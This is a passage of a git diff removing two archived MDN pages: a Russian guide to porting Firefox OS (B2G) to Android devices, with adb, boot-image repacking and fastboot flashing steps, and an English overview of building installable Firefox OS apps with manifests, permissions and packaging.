-translation_of: Archive/B2G_OS/Porting_B2G_OS/basics
----
-<div class="summary">
-<p>Firefox OS (также Boot to Gecko) использует ядро выделенное из <a href="http://www.android.com/" title="http://www.android.com/">Android</a> с пользовательским интерфейсом, основанным на <a href="/en-US/docs/Gecko" title="Gecko">Gecko</a>, поверх него. Данная статья является руководством по портированию ОС на новые устройства.</p>
-</div>
-
-<p>Данное руководство предполагает, что вы портируете на Android устройство; если вы портируйте на другое устройство, работа будет сложнее.</p>
-
-<h2 id="Подготовка_системы_сборки">Подготовка системы сборки</h2>
-
-<p>Первым делом необходимо настроить систему сборки; как это сделать написано в этом руководстве <a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_build_prerequisites" title="en-US/docs/Mozilla/Firefox_OS/Firefox_OS_build_prerequisites">Firefox OS build prerequisites</a>.</p>
-
-<h2 id="Создание_резервной_копии_существующей_системы_Android">Создание резервной копии существующей системы Android</h2>
-
-<p>Далее вы должны сделать резервную копию вашего Android устройства, прежде чем информация удалится тестовыми сборками B2G. Кроме того, некоторые части оригинальной системы потребуются в процессе сборки и установки. При выборе имени идентификатора устройства (device id name) мы рекомендуем использовать '_' вместо '-'.</p>
-
-<pre>mkdir my_device_backup
-cd my_device_backup
-adb pull /system system</pre>
-
-<h2 id="Клонирование_B2G_репозитария">Клонирование B2G репозитария</h2>
-
-<p>Первым делом необходимо склонировать репозитарии B2G, а так же хранилище манифестов.</p>
-
-<pre>git clone https://github.com/mozilla-b2g/B2G.git
-git clone https://github.com/mozilla-b2g/b2g-manifest.git</pre>
-
-<h2 id="Добавление_нового_устройства_в_config.sh">Добавление нового устройства в config.sh</h2>
-
-<p>Далее нужно добавить новое устройство в <a href="https://github.com/mozilla-b2g/B2G/blob/master/config.sh" title="https://github.com/mozilla-b2g/B2G/blob/master/config.sh"><code>config.sh</code></a> в репозитарии B2G. Вы можете воспользоваться существующими в качестве шаблона. В основном это сводится к обеспечению инструкций для выборки правильных файлов для сборки. (This basically involves providing the instructions for fetching the correct files to do the build.)</p>
-
-<h2 id="Создание_манифеста_для_нового_устройства">Создание манифеста для нового устройства</h2>
-
-<p>Вам необходимо добавить файл манифеста для нового устройства. Опирайтесь на существующий в качестве шаблона. Вы можете использовать <a href="https://github.com/mozilla-b2g/b2g-manifest/blob/master/hamachi.xml" title="https://github.com/mozilla-b2g/b2g-manifest/blob/master/hamachi.xml">hamachi</a> в качестве справки. Когда закончите, можете добавить и прикоммитить ваш новый манифест к вашему локальному b2g-manifest репозитарию.</p>
-
-<pre>git add my-new-device.xml
-git commit
-</pre>
-
-<p>Затем вам понадобится файл <a href="https://github.com/mozilla-b2g/B2G/blob/master/config.sh" title="https://github.com/mozilla-b2g/B2G/blob/master/config.sh"><code>config.sh</code></a> чтобы использовать ваш локальный b2g-manifest репозитарий вместо оффициального. Чтобы это сделать укажите путь к вашему локальному хранилищу и соответствующую ветку в переменных GITREPO и BRANCH в файле <a href="https://github.com/mozilla-b2g/B2G/blob/master/config.sh" title="https://github.com/mozilla-b2g/B2G/blob/master/config.sh"><code>config.sh</code></a>, например:</p>
-
-<pre><span class="nv">GITREPO</span><span class="o">=</span><span class="k">${</span><span class="nv">GITREPO</span><span class="k">:-</span><span class="s2">"file:///home/yourname/b2g-manifest"</span><span class="k">}</span>
-<span class="nv">BRANCH</span><span class="o">=</span><span class="k">${</span><span class="nv">BRANCH</span><span class="k">:-master</span><span class="k">}</span></pre>
-
-<h2 id="Создание_дерева_конфигурации_нового_устройства">Создание дерева конфигурации нового устройства</h2>
-
-<p>Создание нового дерева конфигурации для нового устройства. Оно должно находится в дирректории <code>device/<em>&lt;manufacturer&gt;</em>/<em>&lt;device_id&gt;</em></code>. И включать в себя как минимум:</p>
-
-<ul>
- <li><code>AndroidBoard.mk</code></li>
- <li><code>AndroidProducts.mk</code></li>
- <li><code>BoardConfig.mk</code></li>
- <li><code>extract-files.sh</code></li>
- <li><code>full_&lt;device_id&gt;.mk</code></li>
- <li>idc files for touchscreen</li>
- <li>init files (<code>init.rc</code>, <code>init.&lt;target&gt;.rc</code>, <code>uevent.rc</code>, ...)</li>
-</ul>
-
-<p>Содержимое списока может сильно меняться от устроства к устроству. В частности BoardConfig.mk и extract-files.sh могут существенно отличаться. Эта часть требует много усилий по аддаптации, тестированию и дебагу, чтобы выяснить какие бинарные части (binary blobs) необходимо извлечь. Чтобы получить более полное представление о том что должно находится здесь, взгляните на <a href="https://github.com/mozilla-b2g/android-device-hamachi" title="https://github.com/mozilla-b2g/android-device-hamachi">конфигурацию устройства hamachi</a>. Не забывайте составлять вашу конфигурацию в соотвествии с манифестом устройства, который вы создали.</p>
-
-<div class="note">
-<p><strong>Note:</strong> Если вам удастся найти справку по <a href="http://www.cyanogenmod.com/" title="http://www.cyanogenmod.com/">CyanogenMod</a> для вашего устройства, это ускорит процесс портирования. <a href="http://forum.xda-developers.com/" title="http://forum.xda-developers.com/">Форум XDA</a> также хорошее место для обсуждения и поиска ресурсов.</p>
-</div>
-
-<h2 id="Пересборка_boot.img">Пересборка boot.img</h2>
-
-<p>После того как все сделано вам потребуется пересобрать загрузочный образ. Как правило это нужно не для самого ядра, а для принятия правок в <strong>init.rc</strong>.</p>
-
-<h3 id="Изменения_в_init.rc">Изменения в init.rc</h3>
-
-<p>init.rc который вы используйте <strong>не</strong> поставляется с B2G, поэтому вам следует извлечь его из устройства.</p>
-
-<p>Основные вещи которые вам нужно исправить:</p>
-
-<h4 id="Импорт_init.b2g.rc">Импорт init.b2g.rc</h4>
-
-<p>Добавьте следующий код, чтобы импортировать <code>init.b2g.rc</code>:</p>
-
-<pre>on early-init
- start ueventd
- import /init.b2g.rc</pre>
-
-<h4 id="Исправление_прав_доступа">Исправление прав доступа</h4>
-
-<p>Исправьте права доступа к файлам <code>/system/b2g/b2g</code>, <code>/system/b2g/updater</code>, <code>/system/b2g/plugin-container</code>; это должно быть сделано после строк, которые монтируют файловую систему в режим read/write:</p>
-
-<pre>chmod 0755 /system/b2g/b2g
-chmod 0755 /system/b2g/updater
-chmod 0755 /system/b2g/plugin-container</pre>
-
-<p>Вы можете начать с правки <code>init.rc</code>, извлеченного из устройства, вместо использования <code>init.rc</code> включенного в систему сборки. Если так, важно не забыть задать <code>TARGET_PROVIDES_INIT_RC</code> в <code>BoardConfig.mk</code>.</p>
-
-<h3 id="Пре-собранное_ядро_vs._сборка_ядра_из_исходников">Пре-собранное ядро vs. сборка ядра из исходников</h3>
-
-<p>Вы можете воспользоваться пре-собранным ядром или собрать ядро из исходников. Чтобы собрать ядро из исходников добавьте AndroidKernel.mk и конфиг ядра в дерево конфигурации.</p>
-
-<p>В качестве примера использующего сборку ядра из исходников сотри <a href="https://github.com/andreasgal/B2G/tree/master/glue/gonk/device/toro/maguro" title="https://github.com/andreasgal/B2G/tree/master/glue/gonk/device/toro/maguro">maguro</a> из старой системы сборки.</p>
-
-<h3 id="Извлечение_и_правка_существующего_загрузочного_образа">Извлечение и правка существующего загрузочного образа</h3>
-
-<p>Существует возможность восстановить загрузочный образ телефона сделав дамп содержимого устройств <code>/dev/mtd/mtd1</code> или <code>/dev/mtd/mtd2</code>, полученный файл образа может быть легко восстановлен:</p>
-
-<pre>adb shell 'cat /dev/mtd/mtd1 &gt; /sdcard/boot.img'
-adb pull /sdcard/boot.img
-</pre>
-
-<p>После извлечения файл загрузочного образа можно распаковать вспомогательной утилитой <a href="http://whiteboard.ping.se/Android/Unmkbootimg" title="Unmkbootimg">unmkbootimg</a>. Утилита извлечет образ ядра (zImage) и ramdisk (initramfs.cpio.gz), а также распечатает команды пересобирающие образ с теми же параметрами, что и оригинальный, например:</p>
-
-<pre>$ unmkbootimg boot.img
-Kernel size 3872576
-Kernel address 0x208000
-Ramdisk size 265102
-Ramdisk address 0x1500000
-Secondary size 0
-Secondary address 0x1100000
-Kernel tags address 0x200100
-Flash page size 2048
-Board name is ""
-Command line "androidboot.hardware=aphone"
-Extracting kernel to file zImage ...
-Extracting root filesystem to file initramfs.cpio.gz ...
-All done.
----------------
-To recompile this image, use:
- mkbootimg --kernel zImage --ramdisk initramfs.cpio.gz --base 0x200000 --cmdline 'androidboot.hardware=aphone' -o new_boot.img
----------------
-</pre>
-
-<p>Чтобы модифицировать файл виртуального диска, создайте директорию и распакуйте его туда:</p>
-
-<pre>mkdir initramfs_dir
-cd initramfs_dir
-gunzip -c ../initramfs.cpio.gz | cpio -i
-</pre>
-
-<p>Сделайте все необходимые изменения (например в init.rc) и перепакуйте виртуальный диск используя <code>mkbootfs</code>, убедитесь, что используйте версию собранную с хост утилитами B2G:</p>
-
-<pre>/path/to/your/B2G/out/host/linux-x86/bin/mkbootfs . | gzip &gt; ../newinitramfs.cpio.gz
-</pre>
-
-<p>В завершении вернитесь в корнево каталог и перепакуйте загрузочный образ используя <code>mkbootimg</code>, также убедитесь, что используйте версию собранную с хост утилитами B2G:</p>
-
-<pre>/path/to/your/B2G/out/host/linux-x86/bin/mkbootimg --kernel zImage --ramdisk newinitramfs.cpio.gz --base 0x200000 --cmdline 'androidboot.hardware=aphone' -o newboot.img
-</pre>
-
-<p>Теперь, если скопировать новый загрузочный образ в <code>out/target/product/$DEVICE/boot.img</code> (где $DEVICE имя вашего устройства) он автоматический прошиваться при выполнении <code>flash.sh</code>. Вы также можете прошить образ вручную, используя следующие команды:</p>
-
-<pre>adb reboot bootloader
-fastboot flash boot newboot.img
-fastboot reboot
-</pre>
-
-<h2 id="Добавление_нового_устройства_в_flash.sh">Добавление нового устройства в flash.sh</h2>
-
-<p>Добавление нового устройства в <code>flash.sh</code>; специфика того как это сделать зависит от того какие утилиты должны быть использованы для прошивки нового устройства.</p>
-
-<h2 id="Конфигурация_сборка_и_прошивка_нового_устройства">Конфигурация, сборка, и прошивка нового устройства</h2>
-
-<p>Теперь вы можете попробовать собрать прошивку и прошить ваше новое устройство:</p>
-
-<pre>ANDROIDFS_DIR=my_device_backup ./config.sh &lt;device_id&gt; '../b2g-manifest/default.xml'
-./build.sh
-./flash.sh</pre>
-
-<h2 id="Тест_и_дебаг">Тест и дебаг</h2>
-
-<p>We need some details added here; indeed, this entire article could use some help.</p>
-
-<h2 id="FAQ">FAQ</h2>
-
-<p>Forthcoming</p>
-
-<h2 id="See_also">See also</h2>
-
-<ul>
- <li><a href="/en-US/docs/Mozilla/Firefox_OS" title="en-US/docs/Mozilla/Firefox_OS">Firefox OS</a></li>
- <li><a href="https://github.com/mozilla-b2g/B2G" title="https://github.com/mozilla-b2g/B2G">B2G source code on Github</a></li>
- <li><a href="http://www.android.com/" title="http://www.android.com/">Android web site</a></li>
- <li><a href="https://autonome.wordpress.com/2013/01/15/firefox-os-devices-and-dark-matter/" title="https://autonome.wordpress.com/2013/01/15/firefox-os-devices-and-dark-matter/">A list of existing projects on Dietrich Ayala's blog</a> to port Firefox OS on some devices</li>
-</ul>
diff --git a/files/ru/archive/b2g_os/firefox_os_apps/building_apps_for_firefox_os/index.html b/files/ru/archive/b2g_os/firefox_os_apps/building_apps_for_firefox_os/index.html
deleted file mode 100644
index 7bc6b8b659..0000000000
--- a/files/ru/archive/b2g_os/firefox_os_apps/building_apps_for_firefox_os/index.html
+++ /dev/null
@@ -1,353 +0,0 @@
----
-title: Building apps for Firefox OS
-slug: Archive/B2G_OS/Firefox_OS_apps/Building_apps_for_Firefox_OS
-tags:
- - Firefox OS
- - Installation
- - Layout
- - Manifest
- - NeedsTranslation
- - TopicStub
- - distribution
- - packaging
-translation_of: Archive/B2G_OS/Firefox_OS_apps/Building_apps_for_Firefox_OS
----
-<section class="Quick_links" id="Quick_Links">
-
-<ol>
- <li data-default-state="closed"><a href="/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS">Build and install</a>
- <ol>
- <li><strong><a href="/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS">Build and install overview</a></strong></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_OS_build_process_summary">B2G OS build process summary</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/B2G_OS_build_prerequisites">Build prerequisites</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Preparing_for_your_first_B2G_build">Preparing for your first build</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Building">Building B2G OS</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_installer_add-on">B2G installer add-on</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/Building_for_Flame_on_OS_X">Building B2G OS for Flame on Mac OS X</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Choosing_how_to_run_Gaia_or_B2G">Choosing how to run Gaia or B2G OS</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/Compatible_Devices">Compatible Devices</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Installing_on_a_mobile_device">Installing B2G OS on a mobile device</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_OS_update_packages">Creating and applying B2G OS update packages</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Building/FOTA_community_builds">Building and installing FOTA community builds</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_Build_Variables_Reference_Sheet">B2G build variables reference sheet</a></li>
- </ol>
- </li>
- <li data-default-state="closed"><a href="/en-US/docs/Mozilla/B2G_OS/Porting_B2G_OS">Porting B2G OS</a>
- <ol>
- <li><strong><a href="/en-US/docs/Mozilla/B2G_OS/Porting_B2G_OS">Porting overview</a></strong></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Porting_B2G_OS/basics">Porting basics</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Porting_B2G_OS/Porting_on_CyanogenMod">Porting on CyanogenMod</a></li>
- </ol>
- </li>
- <li data-default-state="closed"><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia">Developing Gaia</a>
- <ol>
- <li><strong><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia">Developing Gaia overview</a></strong></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/Running_the_Gaia_codebase">Running the Gaia codebase</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Mulet">Run Gaia on desktop using Mulet</a></li>
-
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/Understanding_the_Gaia_codebase">Understanding the Gaia codebase</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/Making_Gaia_code_changes">Making Gaia code changes</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/Testing_Gaia_code_changes">Testing Gaia code changes</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/Submitting_a_Gaia_patch">Submitting a Gaia patch</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/Build_System_Primer">Gaia build system primer</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/Different_ways_to_run_Gaia">Different ways to run Gaia</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/make_options_reference">Make options reference</a></li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/Gaia_tools_reference">Gaia tools reference</a></li>
- </ol>
- </li>
- <li><a href="/en-US/docs/Mozilla/B2G_OS/API">B2G OS APIs</a></li>
-</ol>
-</section>
-
-<div class="summary">
-<p>Firefox OS apps are essentially no different to standard websites or web apps. They are built using standard open web technologies — HTML, CSS, JavaScript, etc. — and can be accessed using a web browser. The main differences lie in their ability to be installed on devices and work offline, access to advanced APIs that allow interaction with device features such as camera, gyroscope and address book, and the existence of a solid developer ecosystem — including a Marketplace for distribution of free and paid apps. Generally, they provide users with an "app experience", while still being based on open, cross platform technologies.</p>
-</div>
-
-<p>Firefox OS apps have a low barrier for entry, especially for existing web developers and mobile developers; they are also a lot more portable across platforms than native equivalents, and not locked into walled gardens. As we've already mentioned Firefox OS apps are based on web technologies — HTML, CSS, and JavaScript — so if you've written a web page you already know the basics. Even if you don't have the basics you'll be able to easily follow this guide, but you may want to check out our list of <a href="/en-US/docs/Web/Tutorials">Beginner's tutorials</a> to learn more about developing with open web technologies.</p>
-
-<p>This section of MDN provides a detailed reference on web app development topics specific to creating apps that are installable on Firefox OS (and other Firefox-supported platforms like Android), including app manifests, writing install functionality, permissions for using device APIs, and more. It is targeted towards experienced developers that are just looking to create or port an existing app to Firefox OS.</p>
-
-<div class="note">
-<p><strong>Note</strong>: There is also a very useful screencast series available, if you prefer watching videos — <a href="/en-US/Firefox_OS/Screencast_series:_App_Basics_for_Firefox_OS">App Basics for Firefox OS</a>.</p>
-</div>
-
-<div class="note">
-<p><strong>Note</strong>: If you are a complete beginner to web apps (perhaps you just know a bit of HTML/CSS/JS) and want a very simple guide to building up an app, check out our <a href="/en-US/Apps/Build/Building_apps_for_Firefox_OS/Firefox_OS_app_beginners_tutorial">Firefox OS app beginners tutorial</a>.</p>
-</div>
-
-<h2 id="Firefox_OS">Firefox OS</h2>
-
-<p><a href="/en-US/Firefox_OS">Firefox OS</a> (also referred to by its codename <strong>Boot to Gecko</strong> — or <strong>B2G</strong>) is Mozilla's open source mobile operating system. It's based on a Linux kernel, which boots into a <a href="/en-US/docs/Mozilla/Gecko">Gecko</a>-based runtime that lets users install and run open web apps<strong>, </strong>Gecko being the rendering engine that the Firefox browser uses to render and display web content.</p>
-
-<p>Firefox OS comes with <a href="/en-US/Firefox_OS/Platform/Gaia">Gaia</a>, which forms the entire UI layer of Firefox OS and the default suite of apps that handle the fundamental functions of the phone such as settings, calls, SMS, taking and storing photos, etc.</p>
-
-<p>Mozilla's open web apps are installable on Firefox OS, and other Firefox-supported platforms via Mozilla's web run time technology. For more details, see <a href="/en-US/Marketplace/Options/Open_web_apps_for_android">Open web apps for Android</a>, and <a href="/en-US/Marketplace/Options/Open_web_apps_for_desktop">Open web apps for Desktop</a>.) In future, the technologies should be standardized and adopted across a wider range of platforms.</p>
-
-<h2 id="Installable_app_workflow">Installable app workflow</h2>
-
-<p>An installable open web app is very similar to a normal web app or web site — it is built using familiar web technologies like HTML, CSS and JavaScript. The difference is in the additional features the Firefox (OS) platform has available. The following diagram illustrates how those features work together.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/8493/installable-apps-flowchart-rough.png" style="display: block; height: 358px; margin: 0px auto; width: 520px;"></p>
-
-<ol>
- <li>Start with a fairly standard web application, built using your favourite toolchain.</li>
- <li>Identify this as an installable web app by adding a <a href="/en-US/Apps/Build/Manifest">manifest.webapp</a> file to the web app root directory. This defines a number of things about the app such as its name, icons, localization information, and probably most importantly the <a href="/en-US/Apps/Build/App_permissions">permissions the app needs</a> to access device APIs such as <a href="/en-US/docs/WebAPI/Camera">Camera</a>, <a href="/en-US/docs/Web/API/Device_Storage_API">Device Storage</a>, <a href="/en-US/docs/WebAPI/WebBluetooth">Bluetooth</a> and <a href="/en-US/docs/WebAPI/WebSMS">SMS</a>.</li>
- <li>Create any functionality you require that makes use of special device APIs.</li>
- <li>Create the assets your app needs, such as the <a href="/en-US/Apps/Build/Icon_implementation_for_apps">icons</a>.</li>
- <li>Package and distribute your app. This can be done in a variety of ways, from simple self-published <a href="/en-US/Marketplace/Options/Hosted_apps">hosted apps</a> (in which case you'd have to write your own install functionality), to <a href="/en-US/Marketplace/Options/Packaged_apps">packaged apps</a> distributed via the <a href="https://marketplace.firefox.com/">Firefox Marketplace</a> (which handles the install functionality for you.)</li>
-</ol>
-
-<h2 id="Recommendations">Recommendations</h2>
-
-<p>This section provides recommendations and best practices for creating installable open web apps.</p>
-
-<h3 id="Web_app_manifest_files">Web app manifest files</h3>
-
-<p>Your app's <code>manifest.webapp</code> file should be placed in the root of your app directory, and contain a simple JSON structure, as explained in detail in our <a href="/en-US/Apps/Build/Manifest">App Manifest</a> reference. A simple App Manifest JSON looks like so:</p>
-
-<pre class="brush: json">{
- "name": "My App",
- "description": "My elevator pitch goes here",
- "launch_path": "/index.html",
- "icons": {
- "512": "/img/icon-512.png",
- "128": "/img/icon-128.png"
- },
- "developer": {
- "name": "Your name or organization",
- "url": "http://your-homepage-here.org"
- },
- "default_locale": "en"
-}</pre>
-
-<p>For simple apps, this is all you'll need, but you may also need other fields, as discussed in appropriate places below.</p>
-
-<h3 id="Functionality_Device_APIs_and_permissions">Functionality, Device APIs, and permissions</h3>
-
-<p>One of the main strengths of the Firefox OS platform is the provision of <a href="/en-US/docs/WebAPI">new Web APIs</a> to access key device services like the contacts, and hardware like NFC, Bluetooth and SMS. There are many examples of the different new APIs available along with examples throughout our App Center Build section, but in this section we'll give you some specific pointers towards tasks you might want to accomplish with them. Common task categories include:</p>
-
-<ul>
- <li><a href="/en-US/Apps/Build/gather_and_modify_data">Gathering and modifying data</a>: Retrieving data from files, device hardware (e.g. <a href="/en-US/docs/Web/API/Battery_Status_API">battery</a>, <a href="/en-US/docs/Web/API/Proximity_Events">proximity</a>, <a href="/en-US/docs/Web/API/DeviceLightEvent/Using_light_events">light sensor</a>, <a href="/en-US/docs/Web/API/Geolocation/Using_geolocation">GPS</a>) and key services (e.g. <a href="/en-US/docs/WebAPI/Camera">camera</a>, <a href="/en-US/docs/Web/API/Contacts_API">contacts</a>).</li>
- <li><a href="/en-US/Apps/Build/User_notifications">Giving the user notifications</a>: With <a href="/en-US/docs/Web/API/Notification/Using_Web_Notifications">system notifications</a>, <a href="/en-US/docs/Web/API/Alarm_API">alarms</a>, and <a href="/en-US/docs/Web/Guide/API/Vibration">vibration</a> APIs.</li>
- <li><a href="/en-US/Apps/Build/Offline">Making your app work offline</a>: With APIs like <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a>, <a href="/en-US/docs/Web/Guide/API/DOM/Storage">localStorage</a>, and the Firefox OS-specific <a href="/en-US/docs/Web/API/Data_Store_API">Data Store</a> API.</li>
- <li><a href="/en-US/Apps/Build/User_input_methods">Implementing control mechanisms</a>: Mouse, keyboard, pointer lock, touch inputs, drag and drop, and more.</li>
- <li>Push Notifications: invoked using the <a class="external external-icon" href="https://wiki.mozilla.org/WebAPI/SimplePush">SimplePush Web API</a>, these are a way to make applications wake up when a device receives a certain message.</li>
- <li><a class="external external-icon" href="https://wiki.mozilla.org/WebAPI/WebActivities">Web Activities</a>: A way to get applications to talk to each other and share capabilities, for example taking pictures or recording video. This often provides easier ways to share capabilities.</li>
- <li>Controlling device communication functionality: Such as <a href="/en-US/docs/WebAPI/WebSMS">SMS</a>, <a href="/en-US/docs/WebAPI/WebBluetooth">Bluetooth</a>, Dialer, and <a href="/en-US/docs/Web/API/NFC_API">NFC</a>.</li>
-</ul>
-
-<p>Different APIs have different levels of security, with some APIs being limited in who can access them. This makes sense — it would be really insecure to just let any app have access to say, a device's SMS and dialer functionality. The different levels are as follows:</p>
-
-<ul>
- <li>Common: Common APIs like <a href="/en-US/docs/Web/API/Notification/Using_Web_Notifications">Notification</a>, <a href="/en-US/docs/NavigatorUserMedia.getUserMedia">getUserMedia</a>, <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a>, and <a href="/en-US/docs/Web/API/Geolocation/Using_geolocation">Geolocation</a> don't need any special privileges to use them. Some of these APIs have an extra level of security anyway, for example a getUserMedia or Geolocation call will result in the user being shown a confirmation box to ask if they are happy with an app accessing their GPS or web cam.</li>
- <li>Privileged: Privileged APIs have more security implications than common ones, and as such can only be used by packaged apps that have been verified by the <a href="/en-US/Marketplace">Firefox Marketplace</a> (see below). These include the <a href="/en-US/docs/WebAPI/Camera">Camera</a>, <a href="/en-US/docs/Web/API/Using_the_Browser_API">Browser</a>, <a href="/en-US/docs/Web/API/Contacts_API">Contacts</a> and <a href="/en-US/docs/Web/API/TCP_Socket_API">TCP Socket</a> APIs.</li>
- <li>Certified: Certified APIs are generally critical in terms of device security, and therefore only usable in apps pre-installed on the device by Mozilla or the device vendor. These include the <a href="/en-US/docs/WebAPI/WebSMS">SMS</a>, <a href="/en-US/docs/WebAPI/WebBluetooth">Bluetooth</a>, and Dialer APIs.</li>
-</ul>
-
-<p>To request permission to use a restricted API, you have to include a <code>permissions</code> field in your manifest file, and set the type field to privileged in the case of privileged APIs. These fields will look something like this:</p>
-
-<pre class="brush: json">"type" : "privileged",
-"permissions": {
- "contacts": {
- "description": "Required for autocompletion in the share screen",
- "access": "readcreate"
- },
- "alarms": {
- "description": "Required to schedule notifications"
- }
-}</pre>
-
-<div class="note">
-<p><strong>Note</strong>: You can find out exactly what permissions (if any) each API requires by looking at our <a href="/en-US/Apps/Build/App_permissions">App permissions reference</a>; this reference also lists which version of Firefox OS supports each API. To find out what API features are new as of each version of Firefox OS, consult our <a href="/en-US/Firefox_OS/Releases">Firefox OS developer release notes</a>.</p>
-</div>
-
-<p>Using <a href="/en-US/docs/Web/API/Web_Activities">Web activities</a> also requires that you specify their type and required data in the <code>activities</code> field, for example:</p>
-
-<pre class="brush: json">"activities": {
- "share": {
- "filters": {
- "type": [ "image/png", "image/gif" ]
- },
- "href": "foo.html",
- "disposition": "window",
- "returnValue": true
- }
-}</pre>
-
-<p>Lastly, some APIs such as the <a href="/en-US/Apps/Build/User_notifications/Using_Alarms_to_notify_users">Alarm and Notification APIs</a> also require you to specify a <code>messages</code> field, which details what kind of system messages are to be captured by the app, and what page(s) will handle them:</p>
-
-<pre class="brush: json">"messages": [
- { "alarm": "/index.html" },
- { "notification": "/index.html" }
- ]</pre>
-
-<h3 id="Icons_and_other_design_best_practices">Icons and other design best practices</h3>
-
-<p>The best practices you would use for creating a Firefox OS app are pretty much the same as those you would use for creating any standard web app, in terms of both coding and design.</p>
-
-<ol>
- <li>You should use <a href="/en-US/Apps/app_layout/responsive_design_building_blocks">responsive design techniques</a> to make sure your app layout will work well on a variety of screen sizes, especially <a href="/en-US/docs/Web/Guide/CSS/Media_queries">media queries</a> and <a href="/en-US/docs/Web/CSS/@viewport">viewport</a>. Because many devices have high resolution screens these days, this should include use of <code>resolution</code> media queries to optimize for different resolutions.</li>
- <li>You should take advantage of the building blocks and design patterns we've made available (see our app <a href="/en-US/Apps/Design">Design section</a>.)</li>
- <li>You should also make sure to optimize your code as much as possible so it is more likely to work on <a href="/en-US/Apps/Build/Performance/Apps_for_low-memory_Firefox_OS_devices">low-memory devices</a>, which many Firefox OS devices are (see our <a href="/en-US/Apps/Build/Performance">Performance topic</a>).</li>
- <li>For the visual design of Firefox apps, you are free to follow your own path, but you could certainly get some useful pointers from our <a href="https://www.mozilla.org/en-US/styleguide/products/firefox-os/">Firefox OS style guide</a>.</li>
- <li>For your app icons, you should make sure to include at least a 512x512 icon and a 128x128 icon. Read <a href="/en-US/Apps/Build/Icon_implementation_for_apps">Icon implementation for Apps</a> for more information.</li>
-</ol>
-
-<h3 id="App_packaging_installation_and_distribution">App packaging, installation and distribution</h3>
-
-<p>When an App is ready to be distributed, you have a few options of how to publish them:</p>
-
-<ul>
- <li>You can <a href="/en-US/Marketplace/Options/Self_publishing">self-publish</a> a <a href="/en-US/Marketplace/Options/Hosted_apps">hosted app</a>. This requires you to simply upload your app to a web server, just like you would for a normal web site, and include the manifest, icons, etc. that the installable app needs. In addition, you need to include some code to install your app on a Firefox OS device or other device where Firefox is present. This will generally take the form of a <a href="/en-US/docs/Web/HTML/Element/button" title="The HTML &lt;button> element represents a clickable button."><code>&lt;button&gt;</code></a> element that when pressed invokes the <a href="/en-US/docs/Web/API/Apps/install" title="The documentation about this has not yet been written; please consider contributing!"><code>Apps.install</code></a> method, passing it the URL of the manifest file. Note that hosted apps, even when installed, are always run from the web site they are hosted on, so don't confer the ability to run offline, unless you provide this ability using a technology like <a href="/en-US/docs/Web/HTML/Using_the_application_cache">AppCache</a> (or soon, <a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Service Workers</a>.)</li>
- <li>You can <a href="/en-US/Marketplace/Options/Self_publishing">self-publish</a> a <a href="/en-US/Marketplace/Options/Packaged_apps">packaged app</a>. This requires you to zip your app up, and upload your zip to a web server, after making sure you've included the manifest, icons, etc. that the installable app needs. In addition, you need to include a <a href="https://developer.mozilla.org/en-US/Marketplace/Options/Self_publishing#Mini-manifest_fields">mini-manifest</a> file in the same directory as the zip to reference the app, and some code to install your app on a Firefox OS device or other device where Firefox is present. This will generally take the form of a <a href="/en-US/docs/Web/HTML/Element/button" title="The HTML &lt;button> element represents a clickable button."><code>&lt;button&gt;</code></a> element that when pressed invokes the <a href="/en-US/docs/Web/API/Apps/installPackage" title="The documentation about this has not yet been written; please consider contributing!"><code>Apps.installPackage</code></a> method, passing it the URL of the mini-manifest file.</li>
- <li>You can publish a packaged app on the Firefox Marketplace. The process for doing this is <a href="/en-US/Marketplace/Publishing/Submit/Overview">well documented over at our Marketplace zone</a>.</li>
-</ul>
-
-<div class="note">
-<p><strong>Note</strong>: Self-published apps don't have the ability to access privileged APIs, for security reasons.</p>
-</div>
-
-<div class="note">
-<p><strong>Note</strong>: Another common cause of failure in app installation is incorrect paths in manifests and install code. These paths should be relative to the origin of the server location. So for example, if your example's root is at <code>http://www.mysite.com/myapp/</code>, and your icon is at <code>http://www.mysite.com/myapp/manifest.webapp</code>, the install path would be <code>/myapp/manifest.webapp</code>, not <code>/manifest.webapp</code>.</p>
-</div>
-
-<div class="note">
